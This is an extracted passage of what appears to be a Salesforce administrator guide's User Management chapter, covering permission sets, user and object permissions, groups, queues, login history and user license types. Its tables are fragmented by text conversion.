Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components,
data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs
that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of
your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather
than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and
campaign members.
The Apps section of the permission sets overview page contains settings that are directly associated with the business processes
the apps enable. For example, customer service agents might need to manage cases, so the Manage Cases permission is in
the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to
enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce
pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains
links to:
Assigned apps
Object settings, which include:
Tab settings
Object permissions
Field permissions
App permissions
Apex class access
Visualforce page access
System Settings
Some system functions apply to an organization and not to any single app. For example, View Setup and Configuration
allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the Run
Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some cases, such
as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to download
the Data Loader.
563
User Management
In the permission sets overview page, the System section contains links to:
System permissions
Service providers (if you've enabled Salesforce as an identity provider)
To view all users that are assigned to a permission set, from the permission set overview page, click Assigned Users. From
the assigned users page, you can:
See Also:
Assigning Permission Sets
On any of the detail pages, type at least three consecutive letters of an object, setting, or permission name in the Find Settings...
box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list.
Click an item in the list to go to its settings page. You can search for:
564
User Management
Item
Example
Assigned apps
Type sales in the Find Settings box, then select Sales from the list.
Objects
Type an existing objects name. For example, lets say you have an Albums
custom object, type albu, then select Albums.
Fields
Type the name of the object that contains the field. For example, lets say
your Albums object contains a Description field. To find the Description
field for albums, type albu, select Albums, and scroll down to
Description under Field Permissions.
Tabs
The permission, object, or setting you're searching for may not be available in the current organization.
The item you're searching for may not be available for the user license that's associated with the current permission set.
For example, a permission set with the High Volume Customer Portal license doesn't include the Modify All Data
permission.
Be sure your search terms have at least three consecutive characters that match the object, setting, or permission name.
Be sure the search term is spelled correctly.
See Also:
Permission Sets Overview
Manage Users
Assigned app settings specify the apps that users can select in the Force.com app menu.
Unlike profiles, you cant assign a default app in permission sets. You can only specify whether apps are visible.
565
User Management
To assign apps:
1.
2.
3.
4.
5.
Click Your Name > Setup > Manage Users > Permission Sets.
Select a permission set, or create one.
On the permission set overview page, click Assigned Apps.
Click Edit.
To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select
them from the Enabled Apps list and click Remove.
6. Click Save.
See Also:
What is an App?
Manage Users
From the user detail page, you can assign permission sets or remove a permission set assignment.
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Users.
Select a user.
In the Permission Set Assignments related list, click Edit Assignments.
To assign a permission set, select it from the Available Permission Sets box and click Add. To remove a permission set
assignment, select it from the Enabled Permission Sets box and click Remove.
Note: The Permission Set Assignments page shows only permissions sets that match the user's license. For example,
if a user's license is Chatter Only, you can only assign permission sets with the Chatter Only license to that user.
5. Click Save.
See Also:
Permission Sets Overview
Using a Permission Set's Assigned Users Page
Creating Permission Sets
566
User Management
User Permissions
User Permissions
The user permissions available vary according to which Edition you have.
The following table lists all user permissions in alphabetical order. In permission sets and the enhanced profile user interface,
these permissions are listed in the App Permissions or System Permissions pages. In the original profile user interface, they
are listed under Administrative Permissions and General User Permissions.
You can enable user permissions in permission sets and profiles.
Permission Name
Description
Functions Controlled
Profiles
Activate Contracts
System Administrator
Contract Manager
System Administrator
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
API Enabled
System Administrator
Approve Contracts
Author Apex
567
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager
Chatter Moderator User
Chatter Free User
Convert Leads
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager
System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager
568
User Management
User Permissions
Permission Name
Description
Functions Controlled
Profiles
Create AppExchange
Packages
Create Libraries
System Administrator
Customize Application
System Administrator
569
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
System Administrator
570
User Management
User Permissions
Permission Name
Description
Functions Controlled
Profiles
Contract Manager
Download AppExchange
Packages
Install or uninstall
AppExchange packages as
system administrators.
Install or uninstall
System Administrator
AppExchange packages from
the AppExchange
Drag-and-Drop Dashboard
Builder
Edit Events
Create, edit, and delete events. Create, edit, and delete events System Administrator
System Administrator
System Administrator
Standard User
Solution Manager
571
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
Marketing User
Contract Manager
Edit Forecasts
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
In Customizable Forecasts,
In Customizable Forecasts,
System Administrator
change your individual quota change your individual quota
Standard User
amount.
amount.
Solution Manager
This permission is not
Marketing User
available for Forecasts
(Classic) and the Forecasts
Contract Manager
product released in Winter
12.
572
User Management
User Permissions
Permission Name
Description
Edit Tasks
Functions Controlled
Profiles
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
Create, edit, and delete tasks. Create, edit, and delete tasks System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
Export Reports
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
Import Leads
System Administrator
Marketing User
Import personal accounts and Import personal accounts and System Administrator
contacts.
contacts using the import
Standard User
wizard
Solution Manager
Marketing User
Contract Manager
Import Solutions
System Administrator
Standard User
573
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
Solution Manager
Marketing User
Read Only
Contract Manager
Chatter Moderator User
Chatter Free User
Chatter External User
Log in to Subscriber
Organization
Log in to subscriber
organizations to perform
package support using the
Subscriber Support Tab.
Log in to subscriber
organizations to perform
package support using the
Subscriber Support Tab.
Manage Articles
System Administrator
System Administrator
574
User Management
User Permissions
Permission Name
Description
Functions Controlled
Profiles
Manage Cases
System Administrator
System Administrator
Access all users' messages sent Access all users' messages sent None
in Chatter.
in Chatter (also requires API
Enabled or Api Only User)
Manage Content Permissions Create, edit, and delete library Create, edit, and delete library System Administrator
permissions in Salesforce
permissions in Salesforce
CRM Content.
CRM Content
Manage Content Properties
System Administrator
System Administrator
575
User Management
User Permissions
Permission Name
Description
Functions Controlled
Profiles
Create and edit custom report Create and edit custom report System Administrator
types.
types (also requires View
Setup and Configuration to
view the organization Setup
pages where custom report
types are managed; also
requires Modify All Data to
delete custom report types, as
all reports and dashboard
components using that report
type are deleted as well)
Manage Dashboards
System Administrator
System Administrator
System Administrator
System Administrator
Manage Entitlements
System Administrator
576
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
System Administrator
System Administrator
Manage Letterheads
Manage Mobile
Configurations
Manage Partners
System Administrator
Create, edit, and delete folders Create, edit, and delete public System Administrator
for public documents.
document folders
Marketing User
Create, edit, and delete public Create, edit, and delete public System Administrator
list views.
list views
Create, edit, and delete public Create, edit, and delete public System Administrator
reports.
reports;
Customize the Reports tab
577
User Management
User Permissions
Permission Name
Description
Create, edit, and delete text Create, edit, and delete text
emails, mail merge templates, email and mail merge
and folders for public email templates;
templates.
Edit public folders for email
templates and store email
templates in folders
Functions Controlled
Profiles
System Administrator
Marketing User
Manage Quotas
System Administrator
System Administrator
Manage Salesforce Knowledge Manage Salesforce Knowledge Enable Salesforce Knowledge; System Administrator
settings, and create, edit, and
Create, edit, and delete article
delete article types.
types;
Edit settings
Manage Self-Service Portal
System Administrator
578
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
organization's Self-Closed
Case Status value);
Run Self-Service reports
Manage Sharing Calculation Suspend and resume sharing Suspend and resume group
System Administrator
Deferral
calculations.
membership and sharing rule
calculations.
Manage Synonyms
System Administrator
Manage Territories
Manage territory
configurations.
System Administrator
Manage Translation
Manage Users
579
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
Mass Email
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
Moderate Chatter
580
User Management
User Permissions
Permission Name
Description
Functions Controlled
Profiles
System Administrator
Override Forecasts
In Customizable Forecasts,
System Administrator
override personal forecasts and
Standard User
forecasts of direct reports in
Solution Manager
the role hierarchy.
In the Forecasts product first Marketing User
released in Winter 12,
Contract Manager
override (adjust) the forecasts
of direct reports in the forecast
hierarchy.
This permission is not
available for Forecasts
(Classic).
None
Allows Customer Portal users View and edit cases for their
to view and edit all cases for account
their account.
None
581
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
Contract Manager
Report Builder
Create, edit, and delete reports Create, edit, and delete reports System Administrator
through the drag-and-drop using the report builder
report builder interface.
interface
Unlock user accounts that are Unlock user accounts that are System Administrator
locked, and reset user
locked;
passwords.
Reset user passwords
Run Flows
Run flows.
Run Reports
Run reports;
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager
Schedule Dashboards
Schedule Reports
Send Email
Send email to a single contact Send email to a single contact System Administrator
or lead.
or lead;
Standard User
Send Stay-in-Touch update
Solution Manager
emails;
Marketing User
Request a meeting
Contract Manager
System Administrator
Standard User
Solution Manager
Marketing User
Read Only
582
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
Contract Manager
Standard Platform User
Standard Platform One App
User
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager
Tag Manager
Transfer Cases
Transfer Leads
Transfer Record
583
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
Upload packages to
Upload packages to
AppExchange for distribution. AppExchange. Create and
Use outbound change sets.
upload change sets.
System Administrator
View all organizational data, View all data owned by other System Administrator
regardless of sharing settings. users
System Administrator
None
584
User Management
Permission Name
User Permissions
Description
Functions Controlled
Profiles
System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager
See Also:
Understanding User License Types
Manage Users
AND
Customize Application
Object permissions specify the type of access that users have to objects.
1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles.
2. Select a permission set or profile.
3. Depending on which interface you're using, do one of the following:
Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object and select
it from the list. Click Edit, then scroll to the Object Permissions section.
Original profile user interfaceClick Edit, then scroll to the Standard Object Permissions or Custom Object Permissions
section.
4. Specify the object permissions. For more information, see Object Permissions on page 586.
5. Click Save.
585
User Management
User Permissions
Object Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Standard Objects are not available in Database.com
Object permissions either respect or override sharing rules and settings. You can enable object permissions in permission sets
and custom profiles. The following permissions specify the access that users have to objects.
Permission
Description
Respects or Overrides
Sharing?
Read
Respects sharing
Create
Respects sharing
Edit
Respects sharing
Delete
Respects sharing
View All
Users can view all records associated with this object, regardless Overrides sharing
of sharing settings.
Modify All
Users can read, edit, delete, transfer, and approve all records Overrides sharing
associated with this object, regardless of sharing settings.
Note: Modify All on documents allows access to
all shared and public folders, but not the ability to edit
folder properties or create new folders. To edit folder
properties and create new folders, users must have the
Manage Public Documents permission.
Note: If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile
users from creating, editing, and deleting records in the mobile application, regardless of their standard object permissions
in Salesforce.
See Also:
Permission Sets Overview
User Profiles Overview
View All and Modify All Permissions Overview
Comparing Security Models
Overview of Sharing Settings
586
User Management
User Permissions
The View All and Modify All permissions ignore sharing rules and settings, allowing administrators to quickly grant access
to records associated with a given object across the organization. View All and Modify All may be preferable alternatives
to the View All Data and Modify All Data permissions. Be aware of the following distinctions between the permission
types.
Permissions
Used for
View All
Modify All
View All Data
Modify All Data
View All and Modify All are not available for ideas, price books, article types, and products.
View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom
object administration duties, define delegated administrators.
See Also:
Object Permissions
Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record
level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record
administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating
workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records.
The Read, Create, Edit, and Delete permissions respect sharing settings, which control access to data at the record
level. The View All and Modify All permissions override sharing settings for specific objects. Additionally, the View All
Data and Modify All Data permissions override sharing settings for all objects.
The following table describes the differences between the security models.
Target audience
End-users
587
User Management
Where managed
User Permissions
Sharing settings
Record access levels
Ability to transfer
Respects sharing settings, which vary by Available on all objects with Modify All
object
Available with a sharing rule that states: Available on all objects with View All
the records owned by the public group
Entire Organization are shared with a
specified group, with Read-Only access
Object support
Available on all objects except products, Available on most objects via object
documents, solutions, ideas, notes, and permissions
attachments
Note: View All and Modify
All are not available for ideas,
price books, article types, and
products.
Not available
Available to the record owner and any Available on all objects with Modify All
user above the record owner in the role
hierarchy
Not available
See Also:
Overview of User Permissions and Access
588
User Management
About Groups
Field Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface,
the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.
Access Level
Visible
Read
None
None
See Also:
Field-Level Security Overview
About Groups
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users
in a particular role or territory plus all of the users below that role or territory in the hierarchy.
There are two types of groups:
Public groupsOnly administrators can create public groups. They can be used by everyone in the organization.
Personal groupsEach user can create groups for their personal use.
589
User Management
About Groups
See Also:
Creating and Editing Groups
Viewing All Users in a Group
Overview of Sharing Settings
Setting Your Organization-Wide Sharing Defaults
Manage Users
Only administrators can create and edit public groups, but anyone can create and edit a personal group.
To create or edit a group:
1. Click the control that matches the type of group:
For personal groups, click Your Username > Setup > My Personal Information > My Groups.
For public groups, click Your Username > Setup > Manage Users > Public Groups.
2. Click New, or click Edit next to the group you want to edit.
3. Enter the following:
Field
Description
Label
The name used to refer to the group in any user interface pages.
The unique name used by the API and managed packages. The name
must begin with a letter and use only alphanumeric characters and
underscores. The name cannot end with an underscore or have two
consecutive underscores.
Grant Access Using Hierarchies (public Select Grant Access Using Hierarchies to allow automatic access to
groups only)
590
User Management
About Groups
From the Search drop-down list, select the type of member to add. If
you don't see the member you want to add, enter keywords in the search
box and click Find.
Note: For account owners to see child records owned by
high-volume portal users, they must be members of any portal
share groups with access to the portal users' data.
Selected Members
Select members from the Available Members box, and click Add to add
them to the group.
4. Click Save.
Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove
access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules
won't be automatically reevaluated, and you must manually recalculate them.
See Also:
Group Member Types
Recalculating Sharing Rules
About Groups
About Customer Portal User Management
Working with Partner Users
Manage Users
When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending
on your organization settings, some types may not be available.
591
User Management
About Groups
Member Type
Description
Partner Users
Personal Groups
Portal Roles
Public Groups
Roles
Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
doesn't include portal roles or users.
Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when no portals are enabled for your
organization.
Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when a partner or Customer Portal is enabled
for your organization. This includes portal users.
592
User Management
About Groups
Member Type
Description
Users
See Also:
About Groups
Creating and Editing Groups
Manage Users
For personal groups, click Your Name > Setup > My Personal Information > My Groups.
For public groups, click Your Name > Setup > Manage Users > Public Groups.
2. Public groups only: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create
New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list
and click Edit.
3. Click the name of a group in the Groups related list to display the group's detail page.
593
User Management
About Groups
The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing groupThe
All Users list shows users who belong to the selected public group, queue, or role sharing group. From this page, you can view
detailed user information, edit user information, and access related information.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Edit next to a username to edit the user information.
Click Login next to a username to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.
See Also:
About Groups
Creating and Editing Groups
The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue.
From this page, you can view detailed member information and access other related information.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
Click a name to view the member details.
See Also:
About Groups
Viewing All Users in a Group
594
User Management
Managing Queues
Managing Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Customize Application
AND
Manage Public List Views
Customize Application
AND
Manage Public List Views and Manage Users
To view and manage queues, click Your Name > Setup > Manage Users > Queues.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
To create a queue, click New.
To edit a queue, click Edit next to the queue name.
To delete a queue, click Del next to the queue name.
To view details about a queue, including the queue's members, click the queue's name.
See Also:
Queues Overview
Viewing and Editing Queues
Creating Queues
595
User Management
Managing Queues
Queues Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Lead queues, case queues, and service contract queues are not available in Database.com
Customize Application
AND
Manage Public List Views
Customize Application
AND
Manage Public List Views and Manage Users
Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue manually
or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or taken by one of
the queue members. Any queue member or users above them in the role hierarchy can take ownership of records in a queue.
For example:
Lead queues
Help you manage the distribution of leads. For example, you may have a lead queue for a Western Region team and one
for an Eastern Region team. You can put leads in different queues, either manually or automatically via a lead assignment
rule as leads are imported, created or edited manually, or captured from the Web. Make salespeople members of one or
more lead queues.
Case queues
Help you manage your support workload and differentiate cases based on support levels. With queues, you can ensure
that cases are resolved quickly even if a specific user is on vacation. By creating queues for different support levels, such
as Gold Service and Silver Service, cases are automatically prioritized. You can put cases in different queues, either
manually or automatically via a case assignment rule as cases are generated from the Web or created manually. Make
support agents members of case queues.
Knowledge article version queues
Help you manage the distribution of versions of Salesforce Knowledge articles for translation. For example, if multiple
languages are used for your knowledge base, you can assign new versions of articles to a queue of users who can translate
the article into a specific language.
Service contract queues
Help you manage the distribution of service contracts. For example, you may have a dedicated group of users who review
service contracts. When a service contract is created, assign it to a queue so queue members can review the service contract.
596
User Management
Managing Queues
See Also:
Creating Queues
Viewing and Editing Queues
Managing Queues
Creating Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Customize Application
AND
Manage Public List Views
Customize Application
AND
Manage Public List Views and Manage Users
1. Click Your Name > Setup > Manage Users > Queues.
2. Click New.
3. Enter the Label and Queue Name. The Label is the queue label as it appears on the user interface. The Queue Name is a
unique name used by the API and managed packages, and can only contain alphanumeric characters and underscores.
4. Choose email notification settings for the queue:
To Notify
You Must
One email address when new records are placed in the queue Add an email address to Queue Email.
You can add an email address for an individual user or an
email distribution list.
All queue members individually when new records are placed Leave Queue Email blank.
in the queue
All queue members and the Queue Email individually
when new records are placed in the queue
597
User Management
Managing Queues
5. If your organization uses divisions, select the default division for the queue.
This determines the division for a record when it's assigned to the queue via assignment rules or a manual change of
ownership. Note that cases inherit the division of the contact they're related to, or they're assigned to the default global
division if no contact is specified.
6. Choose the objects available to the queue.
7. Choose queue members.
You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and
users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing
settings.
8. Click Save.
Tips on Creating Queues
When you create a queue, Salesforce automatically creates a corresponding list view. Users can access the queue list view
from the Cases, Leads, Service Contracts or custom object tabs. Only queue members and users above them in the role
hierarchy have access to the queue list view, depending on your sharing settings.
After you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads
and cases to the queue.
After you have defined a queue for a custom object, you can set up a workflow rule that automatically reassigns ownership
of custom object records to the queue via a field update on the record owner field.
See Also:
Queues Overview
Viewing and Editing Queues
Managing Queues
Customize Application
AND
Manage Public List Views
Customize Application
AND
Manage Public List Views and Manage Users
598
User Management
1. Click Your Name > Setup > Manage Users > Queues and select the queue name.
2. Click:
View All Users to view the queue's members plus any users who have the same access as queue members because they're
higher in your organization's role hierarchy. Users that gain access to data due to their position in hierarchies do so
based on a setting in your organization-wide defaults.
You can click View Queue Members to return to the Queue Members related list.
See Also:
Queues Overview
Creating Queues
Managing Queues
Manage Users
You can monitor user logins and trainings to determine who is using the application and how often and which users have
taken training classes from salesforce.com.
If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.
See Also:
Monitoring Login History
Monitoring Training History
Viewing Single Sign-On Login Errors
599
User Management
Manage Users
On this page, Administrators can monitor the successful and failed login attempts for their organization and enabled portals.
The columns on this page provide information about each login attempt. The login history page displays the most recent
20,000 entries in the login history database. If you need to see more records, you can download the information to a CSV or
GZIP file.
Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To download the information into a CSV or GZIP file:
1. Click Your Name > Setup > Manage Users > Login History.
2. Click one of the following radio buttons:
Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months.
This report includes logins through the API.
gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six
months. This report includes logins through the API. The file is compressed and this is the preferred option for quickest
download time.
3. Select the file contents. You can choose All Logins, IE6 Logins Only, or Web Site Logins Only.
4. Click Download Now.
Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large
file in Excel, see the Microsoft Help and Support article about handling large files.
You can create new list views sorted by Login Time and Login URL. For example, you could create a view of all logins between
a particular time range. Like the default view, a custom view filters the most recent 20,000 rows in the login history database.
To create a new view, click Create New View from the page. Fill in the following:
1. Enter View Name
Enter the name to appear in the View drop-down list.
2. Specify Filter Criteria.
You can filter by Login Time and Login URL.
3. Select Fields to Display
The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can
display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters
are displayed in the list view.
To see the last ten successful and failed logins for a specific user, navigate to Your Name > Setup > Manage Users > Users,
click on the Full Name for the user, and scroll to the Login History section.
600
User Management
Personal Edition
To view your personal login history:
1. Click Your Name > Setup > My Personal Information > Personal Information.
2. Scroll down to the Login History related list to view your last ten logins.
3. To download a CSV file of your login history for the past six months, click the Download... link.
Note: For security purposes, Salesforce may require users to pass a user verification test to export data from their
organization. This simple text-entry test prevents malicious programs from accessing your organization's data. To pass
the test, users must correctly type the two words displayed on the overlay into the overlay's text box field. Note that
the words entered into the text box field must be separated by a space.
Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated
program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for Completely
Automated Public Turing Test To Tell Computers and Humans Apart.
Single Sign-On with SAML
If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history
messages specific to single sign-on.
My Domain
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your
Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.
Manage Users
As an administrator, it is important to know that your team is learning how to use Salesforce effectively. The Training Class
History shows you all of the Salesforce training classes your users have taken.
Administrators can view the Training Class History by choosing Your Name > Setup > Manage Users > Training History.
After taking a live training class, users must submit the online training feedback form to have their training attendance recorded
in the training history.
601
User Management
If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.
1. Click Your Name > Setup > Manage Users > Delegated Authentication Error History.
2. For the twenty-one most recent login errors, you can view the user's username, login time, and the error.
Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.
See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
You may have more than one type of user license in your organization. A user license entitles a user to different functionality
within Salesforce and determines which profiles and permission sets are available to the user.
To view a list of the active user licenses in your company, click Your Name > Setup > Company Profile > Company
Information. This page lists the following for each type of user license:
If Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy additional user
licenses.
602
User Management
In addition to license types, the following portal login information is listed for organizations that have Customer Portals or
partner portals enabled:
Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month.
Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner
Designed for users who require full access to standard CRM and Force.com AppExchange apps. Users
with this user license are entitled to access any standard or custom app.
Each license provides additional storage for Enterprise and Unlimited Edition users. For more information,
see Monitoring Resources on page 752.
Salesforce
Platform
Designed for users who need access to custom apps but not to standard CRM functionality. Users with
this user license are entitled to use custom apps developed in your organization or installed from Force.com
AppExchange. In addition, they are entitled to use core platform functionality such as accounts, contacts,
reports, dashboards, documents, and custom tabs. However, these users are not entitled to some user
permissions and standard apps, including standard tabs and objects such as forecasts and opportunities.
Users with this license can also use Connect Offline.
Note: Users with this license can only view dashboards if the running user also has the same license.
For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only
app listed in the Force.com app menu.
Users with a Salesforce Platform user license can access all the custom apps in your organization. For a list
of the total number of custom apps available in each Edition, see Salesforce Editions and Limits on page
2076.
Each license provides additional storage for Enterprise and Unlimited Edition users. For more information,
see Monitoring Resources on page 752.
Force.com One App
Designed for users who need access to one custom app but not to standard CRM functionality. Force.com
- One App users are entitled to the same rights as Salesforce Platform users, plus they have access to an
unlimited number of custom tabs. However, they are limited to the use of one custom app, which is defined
as up to 10 custom objects, and they are limited to read-only access to the Accounts and Contacts objects.
Note: Users with this license can only view dashboards if the running user also has the same license.
Each license provides an additional 1 MB of data storage and 1 MB of file storage, regardless of the
Salesforce Edition.
Knowledge
Only User
Designed for users who only need access to the Salesforce Knowledge app. This license provides access to
the following tabs: Articles, Article Management, Home, Reports, and custom tabs. The Knowledge Only
603
User Management
User license includes a Knowledge Only profile that grants access to the Articles tab. To view and use the
Article Management tab, a user must have the Manage Articles permission. For more information, see
Setting Up Salesforce Knowledge on page 1467.
Chatter Free Designed for Unlimited, Enterprise, and Professional Edition users that don't have Salesforce licenses but
need access to Chatter. These users can access standard Chatter people, profiles, groups, and files. They
can't access any Salesforce objects or data.
Note: You can upgrade a Chatter Free license to a standard Salesforce license at any time, however,
you can't convert a standard Salesforce or Chatter Only license to a Chatter Free license.
Chatter
External
Designed to allow customers in Chatter groups. Customers are users outside of your company's email
domains. They have very limited Chatter access and can only see groups they're invited to and interact
with members of those groups.
Chatter Only Also known as Chatter Plus. Designed for Unlimited, Enterprise, and Professional Edition users that dont
have Salesforce licenses but need access to some Salesforce objects in addition to Chatter. These users can
access standard Chatter people, profiles, groups, and files, plus they can:
View Salesforce accounts and contacts
Use Salesforce CRM Content, Salesforce CRM Ideas, and Answers
Modify up to ten custom objects
Note: You must expose the tabs for the standard Salesforce objects that the Chatter Only user
profile can access, as they are hidden by default for these users.
Professional Edition organizations must have Profiles enabled to perform these tasks. Contact your
sales representative for more information.
Designed for public users who access your Site.com or Force.com sites. Site visitors have access to any
information made available in an active public site. For each Guest User license, you can develop one site
for your organization.
For Site.com, Developer, Enterprise, and Unlimited Editions each come with unlimited Guest User
licenses.
For Force.com sites, Enterprise and Unlimited Editions each come with 25 Guest User licenses. Developer
Edition comes with one Guest User license. See Force.com Sites Limits and Billing on page 1619.
Note:
Site.com
Only
You can't purchase additional Guest User licenses for Force.com sites.
The Authenticated Website high-volume portal user license is specifically designed to be used
with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option
to use with Force.com sites.
Designed for Unlimited and Enterprise Edition users who need access to Site.com but not to standard
CRM functionality. Site.com Only users are entitled to the same rights as Force.com - One App users,
plus they have access to the Content app. However, they don't have access to the Accounts and Contacts
objects. Users have access to an unlimited number of custom tabs, but are limited to the use of one custom
app, which is defined as up to 20 custom objects.
604
User Management
Each Site.com Only user also needs either a Site.com Contributor or Site.com Publisher feature license
to access Site.com. See Setting Up Site.com Users on page 2259.
They have Update access on the Account that they belong to.
They own the record.
They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent.
The organization-wide sharing setting for the object is Public Read Only or Public Read/Write.
The record is the account or contact under which they are enabled.
You can use sharing sets to give high-volume portal users access to specific resources. See Granting High-Volume Portal Users
(Service Cloud Portal Users) Access to Records.
You can't include high-volume portal users in:
The Overage High Volume Customer Portal license is the same as the High Volume Customer Portal license, except that
users do not have unlimited logins. Contact salesforce.com for information about the number of Customer Portal licenses you
can activate.
This table lists the permissions that can be assigned to Service Cloud portal users.
Create
Read
Update
Delete
Accounts
Assets
Cases
Contacts
Custom Objects
Documents
Ideas
605
User Management
Create
Read
Update
Delete
Price Books
Products
Questions
The Overage Customer Portal Manager Standard license is the same as the Customer Portal Manager Standard license, except
that users are limited to one login per month.
Note: This license is not available for new customers.
This table lists the permissions that can be given to Customer Portal users.
Create
Read
Update
Delete
Accounts
Assets
Cases
Contacts
Custom Objects
Price Books
Products
606
User Management
the Customer Portal User profile, which lets them view and edit data they directly own and view, create, and edit cases where
they're listed in the Contact Name field.
Users with this license can:
The Overage Customer Portal Manager Custom license is the same as the Customer Portal Manager Custom license, except
that users do not have unlimited logins. Contact salesforce.com for information about the number of Customer Portal licenses
you can activate.
This table lists the permissions that can be given to Customer Portal Enterprise Administration users.
Create
Read
Update
Delete
Accounts
Assets
Cases
Contacts
Price Books
Products
Read
Update
Delete
Accounts
Assets
Contacts
Custom Objects
Documents
Ideas
607
User Management
Create
Read
Update
Delete
Questions
Read
Update
Delete
Accounts
Approvals
Assets
Cases
Contacts
Custom Objects
Documents
Leads
Opportunities
Price Books
Products
Description
Default Number of
Available Licenses
Database.com Admin
Database.com User
Database.com
Edition: 3
Enterprise Edition
and Unlimited
Edition: 0
Contact
salesforce.com to
obtain
608
User Management
User License
Description
Default Number of
Available Licenses
Database.com User
Licenses
